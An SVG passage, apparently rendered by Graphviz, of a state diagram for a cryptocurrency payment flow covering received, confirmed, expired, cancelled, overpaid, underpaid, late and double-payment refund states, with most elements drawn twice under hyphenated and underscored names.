<path fill="#e7f3ff" stroke="#0056b3" stroke-width="2" d="M982.52,-182.41C982.52,-182.41 883.27,-182.41 883.27,-182.41 877.27,-182.41 871.27,-176.41 871.27,-170.41 871.27,-170.41 871.27,-158.41 871.27,-158.41 871.27,-152.41 877.27,-146.41 883.27,-146.41 883.27,-146.41 982.52,-146.41 982.52,-146.41 988.52,-146.41 994.52,-152.41 994.52,-158.41 994.52,-158.41 994.52,-170.41 994.52,-170.41 994.52,-176.41 988.52,-182.41 982.52,-182.41"/>
<text text-anchor="middle" x="932.9" y="-160.13" font-family="Arial" font-size="12.00" fill="#0056b3">doublepay&#45;refunded</text>
<title>doublepay_refunded</title>
<path fill="#e7f3ff" stroke="#0056b3" stroke-width="2" d="M943.52,-185.91C943.52,-185.91 841.27,-185.91 841.27,-185.91 835.27,-185.91 829.27,-179.91 829.27,-173.91 829.27,-173.91 829.27,-161.91 829.27,-161.91 829.27,-155.91 835.27,-149.91 841.27,-149.91 841.27,-149.91 943.52,-149.91 943.52,-149.91 949.52,-149.91 955.52,-155.91 955.52,-161.91 955.52,-161.91 955.52,-173.91 955.52,-173.91 955.52,-179.91 949.52,-185.91 943.52,-185.91"/>
<text text-anchor="middle" x="892.4" y="-163.64" font-family="Arial" font-size="12.00" fill="#0056b3">doublepay_refunded</text>
</g>
<!-- [*]&#45;&gt;doublepay&#45;refunded -->
<!-- [*]&#45;&gt;doublepay_refunded -->
<g id="edge2" class="edge">
<title>[*]&#45;&gt;doublepay&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M15.35,-164.41C28.28,-164.41 56.42,-164.41 80.15,-164.41 80.15,-164.41 80.15,-164.41 662.15,-164.41 728.41,-164.41 803.82,-164.41 858.03,-164.41"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="858.03,-167.91 868.03,-164.41 858.03,-160.91 858.03,-167.91"/>
<text text-anchor="middle" x="355.03" y="-166.91" font-family="Arial" font-size="10.00">Duplicate payment detected</text>
<title>[*]&#45;&gt;doublepay_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M15.35,-167.91C28.28,-167.91 56.42,-167.91 80.15,-167.91 80.15,-167.91 80.15,-167.91 627.9,-167.91 691.45,-167.91 763.63,-167.91 816.36,-167.91"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="816.04,-171.41 826.04,-167.91 816.04,-164.41 816.04,-171.41"/>
<text text-anchor="middle" x="355.03" y="-170.41" font-family="Arial" font-size="10.00">Duplicate payment detected</text>
</g>
<!-- latepay&#45;refunded -->
<!-- latepay_refunded -->
<g id="node4" class="node">
<title>latepay&#45;refunded</title>
<path fill="#e7f3ff" stroke="#0056b3" stroke-width="2" d="M973.9,-95.41C973.9,-95.41 891.9,-95.41 891.9,-95.41 885.9,-95.41 879.9,-89.41 879.9,-83.41 879.9,-83.41 879.9,-71.41 879.9,-71.41 879.9,-65.41 885.9,-59.41 891.9,-59.41 891.9,-59.41 973.9,-59.41 973.9,-59.41 979.9,-59.41 985.9,-65.41 985.9,-71.41 985.9,-71.41 985.9,-83.41 985.9,-83.41 985.9,-89.41 979.9,-95.41 973.9,-95.41"/>
<text text-anchor="middle" x="932.9" y="-73.13" font-family="Arial" font-size="12.00" fill="#0056b3">latepay&#45;refunded</text>
<title>latepay_refunded</title>
<path fill="#e7f3ff" stroke="#0056b3" stroke-width="2" d="M934.9,-95.91C934.9,-95.91 849.9,-95.91 849.9,-95.91 843.9,-95.91 837.9,-89.91 837.9,-83.91 837.9,-83.91 837.9,-71.91 837.9,-71.91 837.9,-65.91 843.9,-59.91 849.9,-59.91 849.9,-59.91 934.9,-59.91 934.9,-59.91 940.9,-59.91 946.9,-65.91 946.9,-71.91 946.9,-71.91 946.9,-83.91 946.9,-83.91 946.9,-89.91 940.9,-95.91 934.9,-95.91"/>
<text text-anchor="middle" x="892.4" y="-73.64" font-family="Arial" font-size="12.00" fill="#0056b3">latepay_refunded</text>
</g>
<!-- [*]&#45;&gt;latepay&#45;refunded -->
<!-- [*]&#45;&gt;latepay_refunded -->
<g id="edge3" class="edge">
<title>[*]&#45;&gt;latepay&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M10.83,-157.3C18.38,-138.24 42.09,-87.41 80.15,-87.41 80.15,-87.41 80.15,-87.41 662.15,-87.41 732.19,-87.41 812.38,-84 867.01,-81.16"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="866.88,-84.67 876.68,-80.65 866.51,-77.68 866.88,-84.67"/>
<text text-anchor="middle" x="355.03" y="-89.91" font-family="Arial" font-size="10.00">Late payment detected</text>
<title>[*]&#45;&gt;latepay_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M11.05,-160.91C19.01,-142.64 43.31,-94.91 80.15,-94.91 80.15,-94.91 80.15,-94.91 627.9,-94.91 695.1,-94.91 771.73,-89.34 824.96,-84.57"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="825.06,-88.08 834.7,-83.68 824.43,-81.11 825.06,-88.08"/>
<text text-anchor="middle" x="355.03" y="-97.41" font-family="Arial" font-size="10.00">Late payment detected</text>
</g>
<!-- received -->
<g id="node5" class="node">
<title>received</title>
<path fill="#cce5ff" stroke="#004085" stroke-width="2" d="M373.9,-449.41C373.9,-449.41 336.15,-449.41 336.15,-449.41 330.15,-449.41 324.15,-443.41 324.15,-437.41 324.15,-437.41 324.15,-425.41 324.15,-425.41 324.15,-419.41 330.15,-413.41 336.15,-413.41 336.15,-413.41 373.9,-413.41 373.9,-413.41 379.9,-413.41 385.9,-419.41 385.9,-425.41 385.9,-425.41 385.9,-437.41 385.9,-437.41 385.9,-443.41 379.9,-449.41 373.9,-449.41"/>
<text text-anchor="middle" x="355.03" y="-427.13" font-family="Arial" font-size="12.00" fill="#004085">received</text>
<path fill="#cce5ff" stroke="#004085" stroke-width="2" d="M373.9,-479.91C373.9,-479.91 336.15,-479.91 336.15,-479.91 330.15,-479.91 324.15,-473.91 324.15,-467.91 324.15,-467.91 324.15,-455.91 324.15,-455.91 324.15,-449.91 330.15,-443.91 336.15,-443.91 336.15,-443.91 373.9,-443.91 373.9,-443.91 379.9,-443.91 385.9,-449.91 385.9,-455.91 385.9,-455.91 385.9,-467.91 385.9,-467.91 385.9,-473.91 379.9,-479.91 373.9,-479.91"/>
<text text-anchor="middle" x="355.03" y="-457.64" font-family="Arial" font-size="12.00" fill="#004085">received</text>
</g>
<!-- pending&#45;&gt;received -->
<g id="edge4" class="edge">
<title>pending&#45;&gt;received</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M103.6,-265.22C111.4,-271.81 120.39,-279.13 128.9,-285.41 191.03,-331.22 267.06,-378.9 312.96,-406.83"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="311.08,-409.79 321.45,-411.98 314.71,-403.8 311.08,-409.79"/>
<text text-anchor="middle" x="202.4" y="-384.08" font-family="Arial" font-size="10.00">Payment detected in mempool</text>
<path fill="none" stroke="black" stroke-width="1.5" d="M105.9,-268.77C113.26,-274.6 121.41,-281.03 128.9,-286.91 196.48,-339.92 275.85,-401.45 320,-435.61"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="317.8,-438.34 327.86,-441.69 322.09,-432.8 317.8,-438.34"/>
<text text-anchor="middle" x="202.4" y="-402.12" font-family="Arial" font-size="10.00">Payment detected in mempool</text>
</g>
<!-- expired -->
<g id="node6" class="node">
<title>expired</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M525.78,-288.41C525.78,-288.41 494.03,-288.41 494.03,-288.41 488.03,-288.41 482.03,-282.41 482.03,-276.41 482.03,-276.41 482.03,-264.41 482.03,-264.41 482.03,-258.41 488.03,-252.41 494.03,-252.41 494.03,-252.41 525.78,-252.41 525.78,-252.41 531.78,-252.41 537.78,-258.41 537.78,-264.41 537.78,-264.41 537.78,-276.41 537.78,-276.41 537.78,-282.41 531.78,-288.41 525.78,-288.41"/>
<text text-anchor="middle" x="509.9" y="-266.13" font-family="Arial" font-size="12.00" fill="#721c24">expired</text>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M499.53,-289.91C499.53,-289.91 467.78,-289.91 467.78,-289.91 461.78,-289.91 455.78,-283.91 455.78,-277.91 455.78,-277.91 455.78,-265.91 455.78,-265.91 455.78,-259.91 461.78,-253.91 467.78,-253.91 467.78,-253.91 499.53,-253.91 499.53,-253.91 505.53,-253.91 511.53,-259.91 511.53,-265.91 511.53,-265.91 511.53,-277.91 511.53,-277.91 511.53,-283.91 505.53,-289.91 499.53,-289.91"/>
<text text-anchor="middle" x="483.65" y="-267.64" font-family="Arial" font-size="12.00" fill="#721c24">expired</text>
</g>
<!-- pending&#45;&gt;expired -->
<g id="edge5" class="edge">
<title>pending&#45;&gt;expired</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M111.82,-248.08C186.79,-252.29 383.91,-263.38 468.93,-268.16"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="468.65,-271.65 478.84,-268.72 469.05,-264.66 468.65,-271.65"/>
<text text-anchor="middle" x="202.4" y="-259.37" font-family="Arial" font-size="10.00">Payment timeout (never received)</text>
<path fill="none" stroke="black" stroke-width="1.5" d="M111.6,-251.53C182.5,-255.42 362.76,-265.33 443.04,-269.74"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="442.59,-273.22 452.76,-270.27 442.97,-266.23 442.59,-273.22"/>
<text text-anchor="middle" x="202.4" y="-262.94" font-family="Arial" font-size="10.00">Payment timeout (never received)</text>
</g>
<!-- cancelled -->
<g id="node7" class="node">
<title>cancelled</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M806.15,-244.41C806.15,-244.41 762.4,-244.41 762.4,-244.41 756.4,-244.41 750.4,-238.41 750.4,-232.41 750.4,-232.41 750.4,-220.41 750.4,-220.41 750.4,-214.41 756.4,-208.41 762.4,-208.41 762.4,-208.41 806.15,-208.41 806.15,-208.41 812.15,-208.41 818.15,-214.41 818.15,-220.41 818.15,-220.41 818.15,-232.41 818.15,-232.41 818.15,-238.41 812.15,-244.41 806.15,-244.41"/>
<text text-anchor="middle" x="784.27" y="-222.13" font-family="Arial" font-size="12.00" fill="#721c24">cancelled</text>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M776.4,-245.91C776.4,-245.91 732.65,-245.91 732.65,-245.91 726.65,-245.91 720.65,-239.91 720.65,-233.91 720.65,-233.91 720.65,-221.91 720.65,-221.91 720.65,-215.91 726.65,-209.91 732.65,-209.91 732.65,-209.91 776.4,-209.91 776.4,-209.91 782.4,-209.91 788.4,-215.91 788.4,-221.91 788.4,-221.91 788.4,-233.91 788.4,-233.91 788.4,-239.91 782.4,-245.91 776.4,-245.91"/>
<text text-anchor="middle" x="754.52" y="-223.64" font-family="Arial" font-size="12.00" fill="#721c24">cancelled</text>
</g>
<!-- pending&#45;&gt;cancelled -->
<g id="edge6" class="edge">
<title>pending&#45;&gt;cancelled</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M111.83,-245.56C221.54,-242.43 604.67,-231.5 737.51,-227.71"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="737.4,-231.22 747.29,-227.43 737.2,-224.22 737.4,-231.22"/>
<text text-anchor="middle" x="355.03" y="-242.64" font-family="Arial" font-size="10.00">User cancellation</text>
<path fill="none" stroke="black" stroke-width="1.5" d="M111.86,-248.94C218.08,-245.46 579.46,-233.62 707.83,-229.41"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="707.71,-232.91 717.59,-229.09 707.48,-225.92 707.71,-232.91"/>
<text text-anchor="middle" x="355.03" y="-245.24" font-family="Arial" font-size="10.00">User cancellation</text>
</g>
<!-- doublepay&#45;refunded&#45;complete -->
<!-- doublepay_refunded_complete -->
<g id="node21" class="node">
<title>doublepay_refunded_complete</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1336.03,-203.91C1336.03,-203.91 1178.28,-203.91 1178.28,-203.91 1172.28,-203.91 1166.28,-197.91 1166.28,-191.91 1166.28,-191.91 1166.28,-179.91 1166.28,-179.91 1166.28,-173.91 1172.28,-167.91 1178.28,-167.91 1178.28,-167.91 1336.03,-167.91 1336.03,-167.91 1342.03,-167.91 1348.03,-173.91 1348.03,-179.91 1348.03,-179.91 1348.03,-191.91 1348.03,-191.91 1348.03,-197.91 1342.03,-203.91 1336.03,-203.91"/>
<text text-anchor="middle" x="1257.15" y="-181.64" font-family="Arial" font-size="12.00" fill="#721c24">doublepay_refunded_complete</text>
</g>
<!-- doublepay_refunded&#45;&gt;doublepay_refunded_complete -->
<g id="edge30" class="edge">
<title>doublepay_refunded&#45;&gt;doublepay_refunded_complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M956.17,-171.03C1010.37,-173.72 1089.73,-177.65 1153.21,-180.8"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1152.85,-184.29 1163.01,-181.29 1153.19,-177.3 1152.85,-184.29"/>
<text text-anchor="middle" x="1060.9" y="-181.55" font-family="Arial" font-size="10.00">Refund confirmed</text>
</g>
<!-- doublepay_not_refunded -->
<g id="node22" class="node">
<title>doublepay&#45;refunded&#45;complete</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1366.03,-203.41C1366.03,-203.41 1214.28,-203.41 1214.28,-203.41 1208.28,-203.41 1202.28,-197.41 1202.28,-191.41 1202.28,-191.41 1202.28,-179.41 1202.28,-179.41 1202.28,-173.41 1208.28,-167.41 1214.28,-167.41 1214.28,-167.41 1366.03,-167.41 1366.03,-167.41 1372.03,-167.41 1378.03,-173.41 1378.03,-179.41 1378.03,-179.41 1378.03,-191.41 1378.03,-191.41 1378.03,-197.41 1372.03,-203.41 1366.03,-203.41"/>
<text text-anchor="middle" x="1290.15" y="-181.13" font-family="Arial" font-size="12.00" fill="#721c24">doublepay&#45;refunded&#45;complete</text>
<title>doublepay_not_refunded</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1319.9,-149.91C1319.9,-149.91 1194.4,-149.91 1194.4,-149.91 1188.4,-149.91 1182.4,-143.91 1182.4,-137.91 1182.4,-137.91 1182.4,-125.91 1182.4,-125.91 1182.4,-119.91 1188.4,-113.91 1194.4,-113.91 1194.4,-113.91 1319.9,-113.91 1319.9,-113.91 1325.9,-113.91 1331.9,-119.91 1331.9,-125.91 1331.9,-125.91 1331.9,-137.91 1331.9,-137.91 1331.9,-143.91 1325.9,-149.91 1319.9,-149.91"/>
<text text-anchor="middle" x="1257.15" y="-127.64" font-family="Arial" font-size="12.00" fill="#721c24">doublepay_not_refunded</text>
</g>
<!-- doublepay&#45;refunded&#45;&gt;doublepay&#45;refunded&#45;complete -->
<!-- doublepay_refunded&#45;&gt;doublepay_not_refunded -->
<g id="edge31" class="edge">
<title>doublepay&#45;refunded&#45;&gt;doublepay&#45;refunded&#45;complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M995.37,-168.04C1048.71,-171.19 1126.94,-175.82 1189.26,-179.5"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1189.04,-182.99 1199.23,-180.09 1189.46,-176.01 1189.04,-182.99"/>
<text text-anchor="middle" x="1098.4" y="-179.9" font-family="Arial" font-size="10.00">Refund confirmed</text>
<title>doublepay_refunded&#45;&gt;doublepay_not_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M956.3,-161.09C969.54,-159.68 983.43,-158.23 996.4,-156.91 1054.07,-151.06 1118.98,-144.81 1169.49,-140.02"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1169.79,-143.51 1179.41,-139.09 1169.13,-136.54 1169.79,-143.51"/>
<text text-anchor="middle" x="1060.9" y="-159.41" font-family="Arial" font-size="10.00">No refund wallet configured</text>
</g>
<!-- doublepay&#45;not&#45;refunded -->
<g id="node23" class="node">
<title>doublepay&#45;not&#45;refunded</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1349.9,-149.41C1349.9,-149.41 1230.4,-149.41 1230.4,-149.41 1224.4,-149.41 1218.4,-143.41 1218.4,-137.41 1218.4,-137.41 1218.4,-125.41 1218.4,-125.41 1218.4,-119.41 1224.4,-113.41 1230.4,-113.41 1230.4,-113.41 1349.9,-113.41 1349.9,-113.41 1355.9,-113.41 1361.9,-119.41 1361.9,-125.41 1361.9,-125.41 1361.9,-137.41 1361.9,-137.41 1361.9,-143.41 1355.9,-149.41 1349.9,-149.41"/>
<text text-anchor="middle" x="1290.15" y="-127.13" font-family="Arial" font-size="12.00" fill="#721c24">doublepay&#45;not&#45;refunded</text>
<!-- latepay_refunded_complete -->
<g id="node15" class="node">
<title>latepay_refunded_complete</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1327.4,-95.91C1327.4,-95.91 1186.9,-95.91 1186.9,-95.91 1180.9,-95.91 1174.9,-89.91 1174.9,-83.91 1174.9,-83.91 1174.9,-71.91 1174.9,-71.91 1174.9,-65.91 1180.9,-59.91 1186.9,-59.91 1186.9,-59.91 1327.4,-59.91 1327.4,-59.91 1333.4,-59.91 1339.4,-65.91 1339.4,-71.91 1339.4,-71.91 1339.4,-83.91 1339.4,-83.91 1339.4,-89.91 1333.4,-95.91 1327.4,-95.91"/>
<text text-anchor="middle" x="1257.15" y="-73.64" font-family="Arial" font-size="12.00" fill="#721c24">latepay_refunded_complete</text>
</g>
<!-- doublepay&#45;refunded&#45;&gt;doublepay&#45;not&#45;refunded -->
<g id="edge32" class="edge">
<title>doublepay&#45;refunded&#45;&gt;doublepay&#45;not&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M995.5,-158.15C1008.2,-156.89 1021.48,-155.59 1033.9,-154.41 1091.19,-148.96 1155.74,-143.15 1205.6,-138.73"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1205.7,-142.23 1215.36,-137.86 1205.09,-135.26 1205.7,-142.23"/>
<text text-anchor="middle" x="1098.4" y="-156.91" font-family="Arial" font-size="10.00">No refund wallet configured</text>
<!-- latepay_refunded&#45;&gt;latepay_refunded_complete -->
<g id="edge18" class="edge">
<title>latepay_refunded&#45;&gt;latepay_refunded_complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M947.71,-77.91C1004.3,-77.91 1094.05,-77.91 1162.18,-77.91"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1161.93,-81.41 1171.93,-77.91 1161.93,-74.41 1161.93,-81.41"/>
<text text-anchor="middle" x="1060.9" y="-80.41" font-family="Arial" font-size="10.00">Refund confirmed</text>
</g>
<!-- latepay&#45;refunded&#45;complete -->
<!-- latepay_not_refunded -->
<g id="node16" class="node">
<title>latepay&#45;refunded&#45;complete</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1357.4,-95.41C1357.4,-95.41 1222.9,-95.41 1222.9,-95.41 1216.9,-95.41 1210.9,-89.41 1210.9,-83.41 1210.9,-83.41 1210.9,-71.41 1210.9,-71.41 1210.9,-65.41 1216.9,-59.41 1222.9,-59.41 1222.9,-59.41 1357.4,-59.41 1357.4,-59.41 1363.4,-59.41 1369.4,-65.41 1369.4,-71.41 1369.4,-71.41 1369.4,-83.41 1369.4,-83.41 1369.4,-89.41 1363.4,-95.41 1357.4,-95.41"/>
<text text-anchor="middle" x="1290.15" y="-73.13" font-family="Arial" font-size="12.00" fill="#721c24">latepay&#45;refunded&#45;complete</text>
<title>latepay_not_refunded</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1311.28,-41.91C1311.28,-41.91 1203.03,-41.91 1203.03,-41.91 1197.03,-41.91 1191.03,-35.91 1191.03,-29.91 1191.03,-29.91 1191.03,-17.91 1191.03,-17.91 1191.03,-11.91 1197.03,-5.91 1203.03,-5.91 1203.03,-5.91 1311.28,-5.91 1311.28,-5.91 1317.28,-5.91 1323.28,-11.91 1323.28,-17.91 1323.28,-17.91 1323.28,-29.91 1323.28,-29.91 1323.28,-35.91 1317.28,-41.91 1311.28,-41.91"/>
<text text-anchor="middle" x="1257.15" y="-19.64" font-family="Arial" font-size="12.00" fill="#721c24">latepay_not_refunded</text>
</g>
<!-- latepay&#45;refunded&#45;&gt;latepay&#45;refunded&#45;complete -->
<!-- latepay_refunded&#45;&gt;latepay_not_refunded -->
<g id="edge19" class="edge">
<title>latepay&#45;refunded&#45;&gt;latepay&#45;refunded&#45;complete</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M986.7,-77.41C1042.29,-77.41 1130.86,-77.41 1197.82,-77.41"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1197.79,-80.91 1207.79,-77.41 1197.79,-73.91 1197.79,-80.91"/>
<text text-anchor="middle" x="1098.4" y="-79.91" font-family="Arial" font-size="10.00">Refund confirmed</text>
</g>
<!-- latepay&#45;not&#45;refunded -->
<g id="node17" class="node">
<title>latepay&#45;not&#45;refunded</title>
<path fill="#f8d7da" stroke="#721c24" stroke-width="2" d="M1341.28,-41.41C1341.28,-41.41 1239.03,-41.41 1239.03,-41.41 1233.03,-41.41 1227.03,-35.41 1227.03,-29.41 1227.03,-29.41 1227.03,-17.41 1227.03,-17.41 1227.03,-11.41 1233.03,-5.41 1239.03,-5.41 1239.03,-5.41 1341.28,-5.41 1341.28,-5.41 1347.28,-5.41 1353.28,-11.41 1353.28,-17.41 1353.28,-17.41 1353.28,-29.41 1353.28,-29.41 1353.28,-35.41 1347.28,-41.41 1341.28,-41.41"/>
<text text-anchor="middle" x="1290.15" y="-19.13" font-family="Arial" font-size="12.00" fill="#721c24">latepay&#45;not&#45;refunded</text>
</g>
<!-- latepay&#45;refunded&#45;&gt;latepay&#45;not&#45;refunded -->
<g id="edge20" class="edge">
<title>latepay&#45;refunded&#45;&gt;latepay&#45;not&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M986.82,-68.83C1002.01,-66.4 1018.61,-63.77 1033.9,-61.41 1094.57,-52.04 1163.41,-41.81 1214.3,-34.33"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1214.55,-37.83 1223.94,-32.92 1213.53,-30.91 1214.55,-37.83"/>
<text text-anchor="middle" x="1098.4" y="-63.91" font-family="Arial" font-size="10.00">No refund wallet configured</text>
<title>latepay_refunded&#45;&gt;latepay_not_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M947.64,-69.39C963.37,-66.95 980.56,-64.3 996.4,-61.91 1057.42,-52.71 1126.55,-42.61 1178.15,-35.14"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1178.56,-38.62 1187.96,-33.72 1177.56,-31.69 1178.56,-38.62"/>
<text text-anchor="middle" x="1060.9" y="-64.41" font-family="Arial" font-size="10.00">No refund wallet configured</text>
</g>
<!-- confirmed -->
<g id="node8" class="node">
<title>confirmed</title>
<path fill="#d4edda" stroke="#155724" stroke-width="2" d="M683.4,-597.41C683.4,-597.41 638.9,-597.41 638.9,-597.41 632.9,-597.41 626.9,-591.41 626.9,-585.41 626.9,-585.41 626.9,-573.41 626.9,-573.41 626.9,-567.41 632.9,-561.41 638.9,-561.41 638.9,-561.41 683.4,-561.41 683.4,-561.41 689.4,-561.41 695.4,-567.41 695.4,-573.41 695.4,-573.41 695.4,-585.41 695.4,-585.41 695.4,-591.41 689.4,-597.41 683.4,-597.41"/>
<text text-anchor="middle" x="661.15" y="-575.13" font-family="Arial" font-size="12.00" fill="#155724">confirmed</text>
<path fill="#d4edda" stroke="#155724" stroke-width="2" d="M1083.15,-642.91C1083.15,-642.91 1038.65,-642.91 1038.65,-642.91 1032.65,-642.91 1026.65,-636.91 1026.65,-630.91 1026.65,-630.91 1026.65,-618.91 1026.65,-618.91 1026.65,-612.91 1032.65,-606.91 1038.65,-606.91 1038.65,-606.91 1083.15,-606.91 1083.15,-606.91 1089.15,-606.91 1095.15,-612.91 1095.15,-618.91 1095.15,-618.91 1095.15,-630.91 1095.15,-630.91 1095.15,-636.91 1089.15,-642.91 1083.15,-642.91"/>
<text text-anchor="middle" x="1060.9" y="-620.64" font-family="Arial" font-size="12.00" fill="#155724">confirmed</text>
</g>
<!-- received&#45;&gt;confirmed -->
<g id="edge7" class="edge">
<title>received&#45;&gt;confirmed</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M372.28,-450.33C387.01,-466.42 410.02,-489.12 434.15,-503.41 491.82,-537.55 566.94,-558.9 614.37,-569.99"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="613.36,-573.35 623.89,-572.15 614.91,-566.52 613.36,-573.35"/>
<text text-anchor="middle" x="509.9" y="-564.15" font-family="Arial" font-size="10.00">Sufficient payment + confirmations</text>
<path fill="none" stroke="black" stroke-width="1.5" d="M377.95,-480.8C392.93,-492.88 413.7,-508.07 434.15,-517.91 482.84,-541.33 498.3,-539.67 551.15,-550.91 719.82,-586.8 923.67,-610.67 1013.53,-620.22"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="1013.12,-623.69 1023.43,-621.26 1013.85,-616.73 1013.12,-623.69"/>
<text text-anchor="middle" x="626.9" y="-581.47" font-family="Arial" font-size="10.00">Sufficient payment + confirmations</text>
</g>
<!-- confirmed&#45;overpay -->
<g id="node10" class="node">
<title>confirmed&#45;overpay</title>
<path fill="#cce5ff" stroke="#004085" stroke-width="2" d="M706.65,-526.41C706.65,-526.41 615.65,-526.41 615.65,-526.41 609.65,-526.41 603.65,-520.41 603.65,-514.41 603.65,-514.41 603.65,-502.41 603.65,-502.41 603.65,-496.41 609.65,-490.41 615.65,-490.41 615.65,-490.41 706.65,-490.41 706.65,-490.41 712.65,-490.41 718.65,-496.41 718.65,-502.41 718.65,-502.41 718.65,-514.41 718.65,-514.41 718.65,-520.41 712.65,-526.41 706.65,-526.41"/>
<text text-anchor="middle" x="661.15" y="-504.13" font-family="Arial" font-size="12.00" fill="#004085">confirmed&#45;overpay</text>
<!-- confirmed_overpay -->
<g id="node9" class="node">
<title>confirmed_overpay</title>
<path fill="#cce5ff" stroke="#004085" stroke-width="2" d="M673.9,-541.91C673.9,-541.91 579.9,-541.91 579.9,-541.91 573.9,-541.91 567.9,-535.91 567.9,-529.91 567.9,-529.91 567.9,-517.91 567.9,-517.91 567.9,-511.91 573.9,-505.91 579.9,-505.91 579.9,-505.91 673.9,-505.91 673.9,-505.91 679.9,-505.91 685.9,-511.91 685.9,-517.91 685.9,-517.91 685.9,-529.91 685.9,-529.91 685.9,-535.91 679.9,-541.91 673.9,-541.91"/>
<text text-anchor="middle" x="626.9" y="-519.64" font-family="Arial" font-size="12.00" fill="#004085">confirmed_overpay</text>
</g>
<!-- received&#45;&gt;confirmed&#45;overpay -->
<!-- received&#45;&gt;confirmed_overpay -->
<g id="edge8" class="edge">
<title>received&#45;&gt;confirmed&#45;overpay</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M386.86,-439.21C434.48,-451.27 527.13,-474.73 591.26,-490.96"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="590.13,-494.29 600.69,-493.35 591.85,-487.5 590.13,-494.29"/>
<text text-anchor="middle" x="509.9" y="-490.26" font-family="Arial" font-size="10.00">Overpayment detected</text>
<title>received&#45;&gt;confirmed_overpay</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M386.72,-468.96C427.46,-478.32 500.6,-495.13 555.31,-507.7"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="554.3,-511.05 564.83,-509.88 555.86,-504.23 554.3,-511.05"/>
<text text-anchor="middle" x="483.65" y="-504.59" font-family="Arial" font-size="10.00">Overpayment detected</text>
</g>
<!-- underpaid&#45;refunded -->
<g id="node11" class="node">
<title>underpaid&#45;refunded</title>
<path fill="#fff3cd" stroke="#856404" stroke-width="2" d="M981.4,-449.41C981.4,-449.41 884.4,-449.41 884.4,-449.41 878.4,-449.41 872.4,-443.41 872.4,-437.41 872.4,-437.41 872.4,-425.41 872.4,-425.41 872.4,-419.41 878.4,-413.41 884.4,-413.41 884.4,-413.41 981.4,-413.41 981.4,-413.41 987.4,-413.41 993.4,-419.41 993.4,-425.41 993.4,-425.41 993.4,-437.41 993.4,-437.41 993.4,-443.41 987.4,-449.41 981.4,-449.41"/>
<text text-anchor="middle" x="932.9" y="-427.13" font-family="Arial" font-size="12.00" fill="#856404">underpaid&#45;refunded</text>
<!-- underpaid_refunded -->
<g id="node10" class="node">
<title>underpaid_refunded</title>
<path fill="#fff3cd" stroke="#856404" stroke-width="2" d="M942.4,-479.91C942.4,-479.91 842.4,-479.91 842.4,-479.91 836.4,-479.91 830.4,-473.91 830.4,-467.91 830.4,-467.91 830.4,-455.91 830.4,-455.91 830.4,-449.91 836.4,-443.91 842.4,-443.91 842.4,-443.91 942.4,-443.91 942.4,-443.91 948.4,-443.91 954.4,-449.91 954.4,-455.91 954.4,-455.91 954.4,-467.91 954.4,-467.91 954.4,-473.91 948.4,-479.91 942.4,-479.91"/>
<text text-anchor="middle" x="892.4" y="-457.64" font-family="Arial" font-size="12.00" fill="#856404">underpaid_refunded</text>
</g>
<!-- received&#45;&gt;underpaid&#45;refunded -->
<!-- received&#45;&gt;underpaid_refunded -->
<g id="edge9" class="edge">
<title>received&#45;&gt;underpaid&#45;refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M386.58,-431.41C474.91,-431.41 732.32,-431.41 859.32,-431.41"/>
<polygon fill="black" stroke="black" stroke-width="1.5" points="859.29,-434.91 869.29,-431.41 859.29,-427.91 859.29,-434.91"/>
<text text-anchor="middle" x="661.15" y="-433.91" font-family="Arial" font-size="10.00">Underpayment detected</text>
<title>received&#45;&gt;underpaid_refunded</title>
<path fill="none" stroke="black" stroke-width="1.5" d="M386.73,-461.91C469.35,-461.91 698.15,-461.91 817.22,-461.91"/>
